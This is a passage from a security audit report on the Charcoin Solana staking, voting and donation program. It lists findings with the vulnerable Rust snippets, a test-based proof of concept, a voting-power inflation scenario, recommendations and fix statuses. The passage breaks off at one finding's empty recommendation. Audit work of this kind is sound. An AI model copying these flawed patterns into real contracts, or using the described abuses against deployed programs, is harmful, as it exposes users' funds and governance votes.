For further guidance on program optimization and architecture, refer to the doc.

Alleviation

[Charcoin, 07/01/2025]: The team heeded the advice and resolved the issue by splitting a function with large arguments into functions with small arguments in commit de5eaf880af19e35e7df0c7b79b1e9c3387c8f9b.

CHA-39 IMMUTABLE ACCOUNT UPDATE IN `cast_vote` INSTRUCTION

Category	Severity	Location	Status
Logical Issue	Medium	programs/charcoin/src/donation.rs (v2(7c0b97a)): 107, 209~213	Resolved

Description

In the `cast_vote` instruction, there is an attempt to update the `user.last_vote_time` field with the current time (`clock`). The account `user` is defined as follows:

```
#[account(
    seeds = [b"user", voter.key().as_ref()],
    bump = user.bump
)]
pub user: Account<'info, UserStakeInfo>,
```

However, the account is not declared as mutable. As a result, while the execution does not revert or abort, the update to `last_vote_time` does not persist on the blockchain.

Proof of Concept

We commented unstake case and modified the existing the case of casting vote for test.

Code

```
  it("castVote", async () => {
    const [charityAccount] = anchor.web3.PublicKey.findProgramAddressSync(
      [Buffer.from('charity'), new anchor.BN(0).toArrayLike(Buffer, "le", 8)],
      program.programId
    );
    const [voteRecord] = anchor.web3.PublicKey.findProgramAddressSync(
      [Buffer.from('vote'), charityAccount.toBuffer(), user.publicKey.toBuffer()],
      program.programId
    );

    const [userStake] = anchor.web3.PublicKey.findProgramAddressSync(
      [Buffer.from('user'), user.publicKey.toBuffer()],
      program.programId
    );
    console.log("before vote, time: ",(await
program.account.userStakeInfo.fetch(userStake)).lastVoteTime);
    // console.log("before vote: ",(await
program.account.voteRecord.fetch(voteRecord)).voteWeight);
    const tx = await program.methods
      .castVoteHandler(
        new anchor.BN(0)
      )
      .accounts({
        voteRecord: voteRecord,
        voter: user.publicKey,
        configAccount: configAccount,
        charity: charityAccount,
        user: userStakePDA,
        stakingPool: stakingPool,
        systemProgram: anchor.web3.SystemProgram.programId,
      })
      .signers([user])
      .rpc();

    console.log("after vote, time: ",(await
program.account.userStakeInfo.fetch(userStake)).lastVoteTime);
    console.log("after vote, weight: ",(await
program.account.voteRecord.fetch(voteRecord)).voteWeight);
  })
```

Result

The `lastVoteTime` remain unchanged.

```
before vote, time:  <BN: 0>
after vote, time:  <BN: 0>
after vote, weight:  <BN: 7a120>
    ✔ castVote (548ms)
```

Then we modified the `CastVote` instruction by adding the `mut` keyword to the `user` account and reran the test. The results are as follows:

```
before vote, time:  <BN: 0>
after vote, time:  <BN: 685e08e0>
after vote, weight:  <BN: 7a120>
    ✔ castVote (482ms)
```

Recommendation

To ensure the `last_vote_time` update is stored on the blockchain, it is suggested to declare the `user` account as mutable.

Alleviation

[Charcoin, 06/30/2025]: The team resolved the issue by heeding the advice in the updated version de5eaf880af19e35e7df0c7b79b1e9c3387c8f9b.

CHA-42 INCORRECT CALCULATION FOR USER STAKE AMOUNT IN `stake_tokens()` FUNCTION

Category	Severity	Location	Status
Coding Issue	Medium	programs/charcoin/src/staking.rs (v3(de5eaf8)): 37, 41, 53	Resolved

Description

The following code block enables users to deposit the `CHAR` asset into the `pool_token_account`. However, it mistakenly treats the input `amount` as the full staked amount without accounting for the 1% transfer fee enforced by `CHAR` (SPL-Token-2022). This miscalculation can lead to two issues:

1. **Unstake failure**: Users may be unable to withdraw their full staked amount due to insufficient funds in the pool.
2. **Asset leakage**: Users may unintentionally withdraw assets deposited by others.

For instance, if Alice deposits 100 `CHAR`, only 99 `CHAR` is actually received by the pool:

- If only Alice deposits, she cannot withdraw the full 100 `CHAR`.
- If both Alice and Bob deposit, Alice may end up withdrawing Bob's 1 `CHAR` which is charged as transfer fee.

programs/charcoin/src/staking.rs

```
37 @>  transfer_checked(cpi_ctx, amount,ctx.accounts.mint.decimals)?;
38
39     // update user stake entry
40     user_stake.stake_id = user.stake_count;
41 @>  user_stake.amount = amount;
42     user_stake.staked_at = clock;
43     user_stake.lockup = lockup;
44     // update staking pool state
45     staking_pool.total_staked += amount;
46
47     // Update user staking info
48     user.authority = ctx.accounts.user_authority.key();
49     user.staking_pool = staking_pool.key();
50     user.bump = ctx.bumps.user;
51
52     if user.total_amount < config_account.config.min_governance_stake &&
53 @>  user.total_amount + amount >= config_account.config.min_governance_stake{
54         user.eligible_at = clock;
55     }
56
57 @>  user.total_amount += amount;
```

Recommendation

Recommend refactoring the code to accurately compute the staked amount. One approach is to calculate the difference in the `pool_token_account` balance before and after each deposit.

Alleviation

[Charcoin, 07/07/2025]: The team heeded the advice and resolved the issue by adding code logic for calculating actually received `CHAR` amount in commit 7eb058e45245ce0b72a7f52eb6ea149515e2f8e2.

CHA-43 MISSING RESET `user.voting_power` IN `unstake_tokens()` ENABLES ACCUMULATION OF FAKE VOTING POWER

Category	Severity	Location	Status
Logical Issue	Medium	programs/charcoin/src/staking.rs (v3(de5eaf8)): 147~152	Resolved

Description

The following code block is intended to decrease `user.voting_power` when a user unstakes their `CHAR` assets. However, it fails to update `user.voting_power` if its value is less than or equal to `vote_weight`.

programs/charcoin/src/staking.rs

```
147     let vote_weight = (vote_power as u128 * user_stake.amount as u128 / 1000)
as u64;
148     if user.voting_power > vote_weight{
149         user.voting_power = user.voting_power
150          .checked_sub(vote_weight)
151             .ok_or(CustomError::MathError)?;
152     }
```

As a result, residual voting power remains when the user stakes again, potentially granting them more voting power than justified by the second staked amount.

programs/charcoin/src/donation.rs

```
100     let vote_weight = user.voting_power;
101
102     user.voting_power = user.voting_power
103      .checked_sub(char_points)
104         .ok_or(CustomError::MathError)?;
```

Proof of Concept

1. Alice stakes 100 `CHAR` for a 90-day lockup period with a voting power rate of 1.
2. She receives 100 voting power.
3. Alice uses 1 voting power to vote for Charity-A and her remaining voting power is 99.
4. Alice unstakes the 100 `CHAR` deposited in step 1, but her voting power remains at 99.
5. She repeats the staking process with the same 100 `CHAR`.
6. Her total voting power increases to 199—99 from the previous stake and 100 newly granted—resulting in an unintended accumulation.

Recommendation

Recommend refactoring codes to correct update logic for user's voting power.

Alleviation

[Charcoin, 07/07/2025]: The team heeded the advice and resolved the issue in commit 7eb058e45245ce0b72a7f52eb6ea149515e2f8e2

CHA-44 INCORRECT VOTE WEIGHT CALCULATION IN `cast_vote` LOGIC

Category	Severity	Location	Status
Logical Issue	Medium	programs/charcoin/src/donation.rs (v3(de5eaf8)): 100	Resolved

Description

The current `cast_vote` function incorrectly uses the full `user.voting_power` as the `vote_weight` stored in the charity and the `vote_record` , rather than the actual `char_points` the user chose to vote with. This leads to a mismatch where the sum of the recorded `vote_weight` can exceed the user's original voting power.

For example:

1. Amy has `voting_power` of 10.
2. She votes 5 points for charityA. Instead of adding 5, charityA's `total_votes` is increased by 10 (Amy's full voting power at that time), and the `vote_record.vote_weight` is incorrectly set to 10. Her `voting_power` is correctly reduced by 5 to 5.
3. Then Amy votes 5 points for charityB. charityB's `total_votes` is increased by 5, and the `vote_record.vote_weight` is correctly set to 5.
4. This causes Amy's total recorded votes (10 + 5 = 15) to exceed her original `voting_power` of 10, leading to inconsistent and unfair vote tallies.

```
let vote_weight = user.voting_power;

user.voting_power = user.voting_power
 .checked_sub(char_points)
    .ok_or(CustomError::MathError)?;

vote_record.charity = charity.key();
vote_record.voter = ctx.accounts.voter.key();
vote_record.vote_weight = vote_weight;
vote_record.voted = true;
charity.total_votes = charity
    .total_votes
    .checked_add(vote_weight)
    .ok_or(CustomError::MathError)?;
```

Recommendation

It is suggested to use `char_points` as the `vote_weight` instead of `user.voting_power` .

Alleviation

[Charcoin, 07/03/2025]: The team resolved the issue by removing the `char_points` in the updated version 42b07eb6bd4af7d40630089fade0de5ef1aa3923.

CHA-01 | INCORRECT STORAGE SPACE ALLOCATION

Category	Severity	Location	Status
Coding Issue	Minor	programs/charcoin/src/governance.rs (pre(fb1d631)): 13~14, 360	Resolved

Description

```
 358      #[account(init, payer = creator,
 359          seeds=[b"proposal", creator.key().as_ref(),config_account.config.
next_proposal_id.to_le_bytes().as_ref()],
 360  @>       bump, space = 8 + 32 + 8 + 256 + 8 + 8 + 1 + 8)]
 361      pub proposal: Account<'info, Proposal>,
```

```
 13  #[account]
 14  pub struct Proposal {
 15      pub id: u64,                // 8 bytes
 16      pub creator: Pubkey,        // 32 bytes
 17  @>  pub title: String,          // * bytes
 18  @>  pub description: String,    // * bytes
 19      pub yes_votes: u64,         // 8 bytes
 20      pub no_votes: u64,          // 8 bytes
 21      pub status: ProposalStatus, // 1 + 1 bytes
 22      pub end_time: i64,          // 8 bytes
 23  }
```

The above code is designed to create a `proposal` account with a storage space of 329 bytes. The current issue is the lack of logic to limit the length of two string-type fields: `title` and `description`.

If the combined length of `title` and `description` reaches 256 bytes, storing a single `Proposal` would require more than the allocated 329 bytes.

$anchor\_discriminator + id + creator + (title + description) + yes\_votes + no\_votes + status + end\_time = 8 + 8 + 32 + (4 + 4 + 256) + 8 + 8 + (1 + 1) + 8 = 338$ bytes.

Notice: A similar issue also exists in `Charity` struct.

```
 169      #[account(init, payer = registrar,seeds=[b"charity".as_ref(),config_account
.config.next_charity_id.to_le_bytes().as_ref()],bump, space = 8 + 8 + 4 + 64 + 4 +
256 + 32 + 8 + 8 + 1)]
 170      pub charity: Account<'info, Charity>,
```

allocated_space = 8 + 8 + 4 + 64 + 4 + 256 + 32 + 8 + 8 + 1 = 393 bytes.

needed_space = 8 + 8 + (4 + 64) + (4 + 256) + 32 + 8 + 8 + 8 + (1 + 1) + 32 = 434 bytes.

```
#[account]
pub struct Charity {
    pub id: u64,              // Unique charity ID
    pub name: String,         // Charity name
    pub description: String, // Charity description
    pub wallet: Pubkey,       // Charity's wallet address
    pub total_votes: u64,     // Total weighted votes received
    pub start_time: i64,      // Voting start time (unix timestamp)
    pub end_time: i64,        // Voting end time (unix timestamp)
    pub status: CharityStatus,
    pub admin:Pubkey, // Admin's public key for managing the charity
}
```

Additionally, `withdrawal` account in `CreateWithdrawal` doesn't consider the extra `4` bytes for `Vec` type data.

```
307 @>  #[account(init, payer = signer, seeds=[b"withdrawal".as_ref()],bump,space =
8 + 8 + 32 + (32 * 10) + 1)]
308     pub withdrawal: Account<'info, WithdrawalProposal>,
```

allocated_space = 8 + 8 + 32 + (32 * 10) + 1 = 369 bytes.

needed_space = 8 + 8 + 32 + 4 + (32 * 10) + 1 = 373 bytes.

```
158 #[account]
159 pub struct WithdrawalProposal {
160     /// Amount (in lamports) proposed for withdrawal.
161     pub amount: u64,
162     /// Recipient account to which funds will be sent.
163     pub recipient: Pubkey,
164     /// List of multisig approvals (owner public keys) collected.
165 @>  pub approvals: Vec<Pubkey>,
166     /// Whether this proposal has been executed.
167     pub executed: bool,
168 }
```

Notice: A similar issue also exists in the `treasury` account in `InitializeTreasury`.

Reference: Account Space Doc

Recommendation

Recommend refactoring codes to correct the account allocated storage space size.

Alleviation

[Charcoin, 07/01/2025]: The team heeded the advice and resolved the issue in commit de5eaf880af19e35e7df0c7b79b1e9c3387c8f9b.

CHA-06 | MISSING ACCESS CONTROL FOR `register_charity`

Category	Severity	Location	Status
Access Control	Minor	programs/charcoin/src/donation.rs (pre(fb1d631)): 49~56	Resolved

Description

The `register_charity` function is intended for registering a charity for voting. However, it currently allows any user to invoke this function to register a charity.

```
#[derive(Accounts)]
pub struct RegisterCharity<'info> {
    #[account(
        mut,
        seeds=[b"config".as_ref()],
        bump
    )]
    pub config_account: Account<'info, ConfigAccount>,

    #[account(
        init,
        payer = registrar,
        seeds=[b"charity".as_ref(),
config_account.config.next_charity_id.to_le_bytes().as_ref()],
        bump,
        space = 8 + 8 + 4 + 64 + 4 + 256 + 32 + 8 + 8 + 1
    )]
    pub charity: Account<'info, Charity>,

    #[account(mut)]
    pub registrar: Signer<'info>,

    pub system_program: Program<'info, System>,
}
```

Recommendation

We recommend adding access control for registering charity.

Alleviation

[CertiK, 06/27/2025]: In the `RegisterCharity` struct, the `admin` account is defined, but its constraint is confusing as it

does not relate to the `admin` account itself. The current implementation is as follows:

```
#[account(mut)]
pub registrar: Signer<'info>, // admin of the charity
#[account(
    mut,
    constraint = registrar.key() == config_account.config.admin,
)]
pub admin: Signer<'info>,
```

The constraint on `admin` checks if `registrar.key()` matches `config_account.config.admin`, which is misleading and may not align with the intended design.

Additionally, the `registrar` and `admin` are both declared as `Signer`. We would like to confirm if the current implementation aligns with the intended design.

[CertiK, 06/30/2025]: In the updated version de5eaf880af19e35e7df0c7b79b1e9c3387c8f9b, the `admin` account is not subject to any constraints, and the `register_charity` function still does not enforce access control, leaving it open to unauthorized use.

[Charcoin, 07/03/2025]: The team heeded the advice and resolved the issue in the updated version 42b07eb6bd4af7d40630089fade0de5ef1aa3923.

CHA-20 | INSECURE MINT VERIFICATION IN BUYBACK FUNCTION

Category	Severity	Location	Status
Access Control	Minor	programs/charcoin/src/burn.rs (pre(fb1d631)): 17, 27	Resolved

Description

The `execute_buyback` function is intended to track the total amount of tokens burned. However, it does not verify if the `mint` account corresponds to the intended target token. This oversight allows users to submit arbitrary tokens and associated accounts, falsely inflating the `total_burned` metric by creating fake BuybackBurn data/events.

```
#[derive(Accounts)]
pub struct ExecuteBuyback<'info> {
    #[account(
        mut,
        seeds=[b"config".as_ref()],
        bump
      )]
    pub config_account: Account<'info, ConfigAccount>,
    #[account(mut)]
    pub mint: Account<'info, Mint>,
    #[account(mut)]
    pub burn_wallet_ata: Account<'info,TokenAccount>,
    #[account(mut)]
    pub burn_authority: Signer<'info>,

    pub token_program: Program<'info, Token>,
}
```

Recommendation

It is suggested to implement a verification step in the `execute_buyback` function to ensure that the `mint` account is the intended target token.

Alleviation

[Charcoin, 06/27/2025]: The team resolved the issue in the updated version 7c0b97a0b63414c1c1efaed548b1b6ef6d54794c.

CHA-21 LACK OF PROPOSAL STATUS CHECK ALLOWS MULTIPLE FINALIZATIONS

Category	Severity	Location	Status
Logical Issue	Minor	programs/charcoin/src/donation.rs (pre(fb1d631)): 148; programs/charcoin/src/governance.rs (pre(fb1d631)): 118	Resolved

Description

The `finalize_proposal` function is designed to finalize a proposal once the voting period has ended. However, it lacks a check on the proposal's current status before proceeding with finalization. This oversight allows the function to be called multiple times on the same proposal, resulting in the repeated emission of `ProposalFinalizedEvent` events.

```
pub fn finalize_proposal(ctx: Context<FinalizeProposal>) -> Result<()> {
    let current_time = Clock::get()?.unix_timestamp;
    let proposal = &mut ctx.accounts.proposal;
    require!(
        current_time >= proposal.end_time,
        GovernanceError::VotingStillActive
    );
    if proposal.yes_votes > proposal.no_votes {
        proposal.status = ProposalStatus::Approved;
        msg!("Proposal {} approved!", proposal.id);
    } else {
        proposal.status = ProposalStatus::Rejected;
        msg!("Proposal {} rejected!", proposal.id);
    }
    emit!(ProposalFinalizedEvent {
        proposal_id: proposal.id,
        status: proposal.status.clone(),
        yes_votes: proposal.yes_votes,
        no_votes: proposal.no_votes,
        timestamp: current_time,
    });
    Ok(())
}
```

The `finalize_charity_vote` has a similar issue.

Recommendation

It is suggested to introduce a check to ensure that the proposal has not already been finalized before proceeding with the

finalization logic.

Alleviation

[Charcoin, 06/27/2025]: The team resolved the issue in the updated version 7c0b97a0b63414c1c1efaed548b1b6ef6d54794c.

CHA-22 LACK OF VALIDATION FOR `pool_token_account` IN STAKE INITIALIZATION

Category	Severity	Location	Status
Logical Issue	Minor	programs/charcoin/src/staking.rs (pre(fb1d631)): 236	Resolved

Description

The `StakeInitialize` struct is used to initialize a staking pool. However, there is no validation to ensure that the `pool_token_account` corresponds to the `token_mint`. If the `pool_token_account` does not align with the `token_mint` tokens, the staking contract may not function as intended, potentially leading to incorrect token handling or staking failures.

```
#[derive(Accounts)]
pub struct StakeInitialize<'info> {
    // ...

    // Modified to remove the constraint for the specific mint address
    pub token_mint: Account<'info, Mint>,
    pub pool_token_account: Account<'info, TokenAccount>,
    // ...
}
```

Recommendation

It is suggested to implement a validation check to ensure that the `pool_token_account` is associated with the `token_mint`.

Alleviation

[Charcoin, 06/27/2025]: The team resolved the issue in the updated version 7c0b97a0b63414c1c1efaed548b1b6ef6d54794c.

CHA-23 INSUFFICIENT `Treasury` MULTISIGN THRESHOLD VALIDATION

Category	Severity	Location	Status
Design Issue	Minor	programs/charcoin/src/governance.rs (pre(fb1d631)): 182~185, 256~259	Resolved

Description

The following code block sets the multisignature threshold for approving treasury fund withdrawal requests. However, it currently allows the threshold to be configured below a safer minimum, such as 2/3 or 3/5 of the total signers.

For instance, a withdrawal request can be approved by just one signer if `treasury.threshold` is assigned to be 1, even when there are 10 configured owners.

```
178     require!(
179         owners.len() > 1 && owners.len() <= 10,
180         GovernanceError::InvalidOwners
181     );
182     require!(
183         threshold > 0 && threshold <= owners.len() as u8,
184         GovernanceError::InvalidThreshold
185     );
```

Recommendation

Recommend refactoring codes to ensure threshold cannot be below the safer minimum value.

Alleviation

[Charcoin, 06/26/2025]: The team heeded the advice and resolved the issue by removing the corresponding codes in commit 7c0b97a0b63414c1c1efaed548b1b6ef6d54794c.

CHA-25 POTENTIAL FRONT-RUNNING RISK WITH INITIALIZE INSTRUCTIONS

Category	Severity	Location	Status
Volatile Code	Minor	programs/charcoin/src/lib.rs (pre(fb1d631)): 31, 88	Partially Resolved

Description

The program `charcoin` can be initialized via `initialize` and `staking_initialize` instruction and set up accounts with sensitive information for the corresponding program.

However, a malicious party can invoke both `initialize` and `staking_initialize` instructions, which will affect normal use of the program.

Recommendation

Recommend that the team review the process for deployment and initialization of programs. To make it more difficult for frontrunners to take advantage of the situation to gain ownership of contracts, the audit team recommends using extra gas during the initialization phase to make it costlier and less likely for front-running attacks to succeed(although the chance is low on Solana).

Depending on how the future implementations of the contract are structured, it would also be beneficial to restrict access to the initialization instructions to ensure that only intended users have access to the function.

Alleviation

[CertiK, 06/27/2025]: The team heeded the advice and partially resolved this issue in commit 7c0b97a0b63414c1c1efaed548b1b6ef6d54794c by adding signer validation logic in `staking_initialize` instruction.

The issue still exists in `initialize` instruction.

CHA-26 MISSING MINT ACCOUNT RESTRICTION IN `staking_initialize` INSTRUCTION ALLOWS INVALID SPL TOKEN STAKING

Category	Severity	Location	Status
Design Issue	Minor	programs/charcoin/src/lib.rs (pre(fb1d631)): 329~330; programs/charcoin/src/staking.rs (pre(fb1d631)): 234~235	Resolved

Description

The following code block is intended to create a unique `staking_pool` account for the `CHAR` SPL token within the `charcoin` program. However, it lacks logic to enforce that only a `CHAR` staking pool can be created. Moreover, there is no access control on the `staking_initialize` instruction.

As a result, any user can exploit this vulnerability to front-run and create a malicious SPL token staking pool. Finally, the deployed program is useless.

```
212 #[derive(Accounts)]
213 pub struct StakeInitialize<'info> {
214     #[account(
215         init,
216         payer = authority,
217         space = 8 + std::mem::size_of::<StakingPool>(),
218 @>      seeds = [b"staking_pool".as_ref(), token_mint.key().as_ref()],
219         bump
220     )]
221     pub staking_pool: Account<'info, StakingPool>,
222     ....
223
224     // Modified to remove the constraint for the specific mint address
225 @>  pub token_mint: Account<'info, Mint>,
226     pub pool_token_account: Account<'info, TokenAccount>,
227     pub system_program: Program<'info, System>,
228 }
```

Recommendation

Recommend refactoring the code to ensure that only the `CHAR` SPL token staking pool can be created. A possible solution:

1. Predefine the `CHAR` token mint in the `ConfigAccount` during program initialization.
2. Validate that the provided `mint` matches the predefined value stored in the `ConfigAccount`.

Alleviation

[Charcoin, 06/27/2025]: The team heeded the advice and resolved the issue by adding `token_mint` validation logic in commit 7c0b97a0b63414c1c1efaed548b1b6ef6d54794c.

CHA-27 | MISSING NON-ZERO CHECK

Category	Severity	Location	Status
Coding Issue	Minor	programs/charcoin/src/donation.rs (pre(fb1d631)): 61; programs/charcoin/src/governance.rs (pre(fb1d631)): 186; programs/charcoin/src/lib.rs (pre(fb1d631)): 95; programs/charcoin/src/staking.rs (pre(fb1d631)): 33	Resolved

Description

The cited address or integer doesn't being check if they are zero value. Potentially leading to unexpected behavior or vulnerabilities.

Recommendation

It is recommended to add a zero-check for the passed-in argument value to prevent unexpected errors.

Alleviation

[Charcoin, 07/01/2025]: The team heeded the advice and resolved the issue in commit de5eaf880af19e35e7df0c7b79b1e9c3387c8f9b.

CHA-28 INCONSISTENT STATE: `withdrawal_count` NOT INCREMENTED AFTER EXECUTING WITHDRAWALS

Category	Severity	Location	Status
Inconsistency	Minor	programs/charcoin/src/governance.rs (pre(fb1d631)): 154	Resolved

Description

The `Treasury` struct defines a `withdrawal_count` counter that appears intended to track the number of successful withdrawals. However, the `execute_withdrawal` function does not increment this counter upon successful execution. As a result, any logic relying on this count—such as analytics, access control, or rate limiting—will be based on stale or incorrect data.

Recommendation

Ensure `withdrawal_count` is incremented each time a withdrawal is successfully processed in `execute_withdrawal`.

Alleviation

[Charcoin, 06/23/2025]: The client revised the code and resolved this issue in commit : 7c0b97a0b63414c1c1efaed548b1b6ef6d54794c

CHA-29 INCONSISTENT PROPOSAL ID HANDLING IN `vote_on_proposal` MAY LEAD TO MISLEADING EVENT LOGS

Category	Severity	Location	Status
Volatile Code	Minor	programs/charcoin/src/governance.rs (pre(fb1d631)): 67	Resolved

Description

Within the `vote_on_proposal` function, an external `proposal_id` is passed as input and recorded in the `VoteCastEvent`. However, the function does not enforce that this `proposal_id` matches `ctx.accounts.proposal.id`. This discrepancy allows users to vote on one proposal while emitting an event that references a different proposal, leading to misleading or incorrect on-chain event logs.

Recommendation

Add a check to ensure that the input `proposal_id` is equal to `ctx.accounts.proposal.id` before proceeding with the vote.

Alleviation

[Charcoin, 06/23/2025]: The client revised the code and resolved this issue in commit : 7c0b97a0b63414c1c1efaed548b1b6ef6d54794c

CHA-31 INADEQUATE MINT VERIFICATION FOR TOKEN ACCOUNT IN DISTRIBUTION

Category	Severity	Location	Status
Logical Issue	Minor	programs/charcoin/src/marketing.rs (pre(fb1d631)): 29~32; programs/charcoin/src/rewards.rs (pre(fb1d631)): 21~25	Resolved

Description

The `source_ata` is the token account used to distribute tokens intended for marketing efforts. The current implementation correctly verifies that the owner of the `source_ata` matches the `treasury_authority` defined in `config_account`. However, it lacks a crucial check — ensuring that the mint of the `source_ata` token account aligns with the expected currency code (such as `CHAR`).

Without verifying the mint, there is a risk of distributing incorrect tokens due to misconfigured token accounts, which can lead to unauthorized or unintended token dispersals, potentially causing financial discrepancies or losses within the marketing strategy.

```
    /// CHECK: This is the source token account from which funds are withdrawn. Its validity is managed by the token program.
    #[account(mut,
        constraint = source_ata.owner == config_account.config.treasury_authority// Ensure the owner matches the marketing wallet
    )]
    pub source_ata: Account<'info, TokenAccount>,
```

The `treasury_ata` in the `rewards.rs` also has a simliar issue.

Recommendation

It is suggested to include a check to ensure that the mint of `source_ata` / `treasury_ata` matches the expected token mint.

Alleviation

[Charcoin, 06/27/2025]: The team resolved the issue in the updated version 7c0b97a0b63414c1c1efaed548b1b6ef6d54794c.

CHA-32 DEFINED `Vote` STRUCT NOT UTILIZED IN VOTING FUNCTIONALITY

Category	Severity	Location	Status
Logical Issue	Minor	programs/charcoin/src/governance.rs (pre(fb1d631)): 26	Resolved

Description

A `Vote` struct is defined within the governance contract, seemingly intended to store detailed vote information. However, the `vote_on_proposal` method does not make use of this struct. As a result, vote records are not encapsulated or structured consistently, and the existence of the unused struct may lead to confusion or imply incomplete implementation.

```
25 #[account]
26 pub struct Vote {
27     pub proposal_id: u64,   // Associated proposal ID
28     pub voter: Pubkey,      // Voter's public key
29     pub amount_staked: u64, // Voting power (staked tokens)
30     pub vote_choice: bool,  // true for Yes, false for No
31 }
```

Recommendation

Either integrate the `Vote` struct into the `vote_on_proposal` logic to record voting details, or remove the unused struct to avoid confusion and reduce code complexity.

Alleviation

[Charcoin, 06/23/2025]: The client revised the code and resolved this issue in commit : 7c0b97a0b63414c1c1efaed548b1b6ef6d54794c

CHA-37 | MISSING OWNER VALIDATION IN `ReleaseMonthlyFunds`

Category	Severity	Location	Status
Logical Issue	Minor	programs/charcoin/src/rewards.rs (v2(7c0b97a)): 16~74	Resolved

Description

The release function currently checks the `mint` of each account against the `char_token_mint` specified in the `ConfigAccount`. However, it lacks validation to ensure that the owner of each account aligns with the configuration. This could lead to potential misconfigurations or unauthorized access if accounts are not properly verified against their intended owners.

Here is the relevant code snippet:

```
#[account(
        mut,
        constraint = staking_reward_ata.mint ==
config_account.config.char_token_mint
    )]
    pub staking_reward_ata: Account<'info, TokenAccount>,
    #[account(
        mut,
        constraint = monthly_top_tier_ata.mint ==
config_account.config.char_token_mint
    )]
    pub monthly_top_tier_ata: Account<'info, TokenAccount>,
    #[account(
        mut,
        constraint = monthly_charity_lottery_ata.mint ==
config_account.config.char_token_mint
    )]
    pub monthly_charity_lottery_ata: Account<'info, TokenAccount>,
    #[account(
        mut,
        constraint = annual_top_tier_ata.mint ==
config_account.config.char_token_mint
    )]
    pub annual_top_tier_ata: Account<'info, TokenAccount>,
    #[account(
        mut,
        constraint = annual_charity_lottery_ata.mint ==
config_account.config.char_token_mint
    )]
    pub annual_charity_lottery_ata: Account<'info, TokenAccount>,
    #[account(mut,
        constraint = monthly_one_time_causes_ata.mint ==
config_account.config.char_token_mint

    )]
    pub monthly_one_time_causes_ata: Account<'info, TokenAccount>,
    #[account(
        mut,
        constraint = monthly_infinite_impact_causes_ata.mint ==
config_account.config.char_token_mint

    )]
    pub monthly_infinite_impact_causes_ata: Account<'info, TokenAccount>,
    #[account(
        mut,
        constraint = annual_one_time_causes_ata.mint ==
config_account.config.char_token_mint

    )]
```

```
    pub annual_one_time_causes_ata: Account<'info, TokenAccount>,
    #[account(
        mut,
        constraint = annual_infinite_impact_causes_ata.mint ==
config_account.config.char_token_mint

    )]
    pub annual_infinite_impact_causes_ata: Account<'info, TokenAccount>,

    #[account(
        mut,
        constraint = char_funds_ata.mint == config_account.config.char_token_mint
    )]
    pub char_funds_ata: Account<'info, TokenAccount>,
```

The current implementation verifies only the `mint` property but does not ensure that the accounts' owners match the expected configuration.

Recommendation

It is suggested to add checks to validate that the owner of each account matches the expected owner specified in the `ConfigAccount`.

Alleviation

[Charcoin, 06/30/2025]: The team resolved the issue by heeding the advice in the updated version de5eaf880af19e35e7df0c7b79b1e9c3387c8f9b.

CHA-02 | CONFIRMATION ON THE FUND RELEASE

Category	Severity	Location	Status
Design Issue	Informational	programs/charcoin/src/marketing.rs (pre(fb1d631)): 60; programs/charcoin/src/rewards.rs (pre(fb1d631)): 69~70	Acknowledged

Description

The `release_funds` function is responsible for transferring funds from `treasury_ata` to various reward ATAs. It has been noted that the sum of `staking_percent` and `donation_percent` totals 900, corresponding to 90% of the funds. The remaining 10% is designated for the Buyback, Deflationary System, and Marketing.

There is also a concern regarding the `total_amount`, which is derived from the `config.treasury_authority` account. If the `total_amount` is incorrect, it could result in an unintended allocation of funds.

Recommendation

A detailed explanation of the token distribution plan is needed, along with measures to ensure the distribution is accurate and aligns with the intended strategy.

Alleviation

[Charcoin, 06/27/2025]: The Char coin is a deflationary token by using the SPL Token 2022 transfer extension. 1% of every transfer is collected and distributed as follows:
10%

- Marketing Wallet 1: 42.5%
- Marketing Wallet 2: 42.5%
- Death Wallet (Burn): 15%

75%

- Reward system: 20%
    - 50%
        - monthly_top_tier_wallet:50%
        - monthly_charity_lottery_wallet:50%
    - 50%
        - annual_top_tier_wallet:50%

        - annual_charity_lottery_wallet:50%

- Donation system: 80%
    - annual donation: 10%
        - Monthly_one_time_causes_wallet: 50%
        - monthly_infinite_impact_causes_wallet:50%
    - monthly donation: 80%
        - monthly_one_time_causes_wallet:50%
        - monthly_infinite_impact_causes_wallet:50%
    - char funds wallet: 10%

15%

- Staking rewards

[CertiK, 06/27/2025]: All `token_program` account, used within instructions of this program, isn't SPL-token-2022. So no transfer fee is charged.

CHA-04 | THE SOURCE OF TREASURY FUNDS

Category	Severity	Location	Status
Design Issue	Informational	programs/charcoin/src/governance.rs (pre(fb1d631)): 263~264, 288~290	Resolved

Description

The `treasury` is a PDA created by the `charcoin` program to hold SOL assets. However, the program lacks logic to transfer SOL into the `treasury`, potentially leaving it unfunded.

```
288     #[account(init, seeds=[b"treasury".as_ref()],
289             bump, payer = signer, space = 8 + (32 * 10) + 1 + 8)]
290     pub treasury: Account<'info, Treasury>,
```

Recommendation

The audit team requests clarification from the development team regarding the business logic behind the source of the `treasury` SOL funds.

Alleviation

[Charcoin, 06/27/2025]: This has been removed, as we will use squads for multi sig treasury.

CHA-05 THE DESIGN LOGIC OF `staking_reward_ata` CHAR ASSET BALANCE

Category	Severity	Location	Status
Design Issue	Informational	programs/charcoin/src/staking.rs (pre(fb1d631)): 201	Resolved

Description

The following code block is intended to transfer rewards to users. However, it lacks a check to verify whether the remaining balance in `staking_reward_ata` is sufficient to cover the reward. As a result, reward claims may fail if the account does not hold enough assets.

```
193     let reward = (user_stake.amount) * (staking_pool.rate_per_second) * (
elapsed_time as u64) * periods;
194
195     ....
196
197     // Transfer reward tokens to user
198     let cpi_accounts = Transfer {
199         from: ctx.accounts.staking_reward_ata.to_account_info(),
200         to: ctx.accounts.user_token_account.to_account_info(),
201         authority: ctx.accounts.staking_pool.to_account_info(),
202     };
203
204     let cpi_program = ctx.accounts.token_program.to_account_info();
205     let cpi_ctx = CpiContext::new_with_signer(cpi_program, cpi_accounts, signer
);
206     token::transfer(cpi_ctx, reward_amount)?;
```

Recommendation

The audit team would like to ask development team about design logic of handling the case described above.

Alleviation

[Charcoin, 06/27/2025]: Through `release_funds()` function in `rewards.rs` to ensure `staking_reward_ata` has sufficient assets to cover the reward.

CHA-33 | USELESS TEST CODE FOR PRODUCTION ENVIRONMENT

Category	Severity	Location	Status
Coding Style	Informational	programs/charcoin/src/staking.rs (pre(fb1d631)): 79~80	Resolved

Description

The unstake cooling-off period for production environment is 48 hours, not 3 mins.

```
  79
// require!(clock.unix_timestamp >= user.unstake_requested_at + 172800
,StakingError::WaitFor48Hours); // 48 hours in seconds

  80      require!(clock.unix_timestamp >= user_stake.unstake_requested_at + 180 ,
StakingError::WaitFor48Hours); // 3 mint in seconds
```

Recommendation

